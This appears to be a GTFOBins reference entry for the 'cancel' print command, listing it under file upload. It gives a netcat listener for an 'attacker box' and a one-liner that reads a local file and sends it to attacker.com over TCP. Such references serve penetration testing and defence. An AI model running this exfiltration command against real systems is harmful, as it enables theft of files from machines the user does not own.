GTFOBins.github.io/_gtfobins/cancel.md

311 B

functions
file-upload
description code
Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send cancel -u "$(cat $LFILE)" -h $RHOST:$RPORT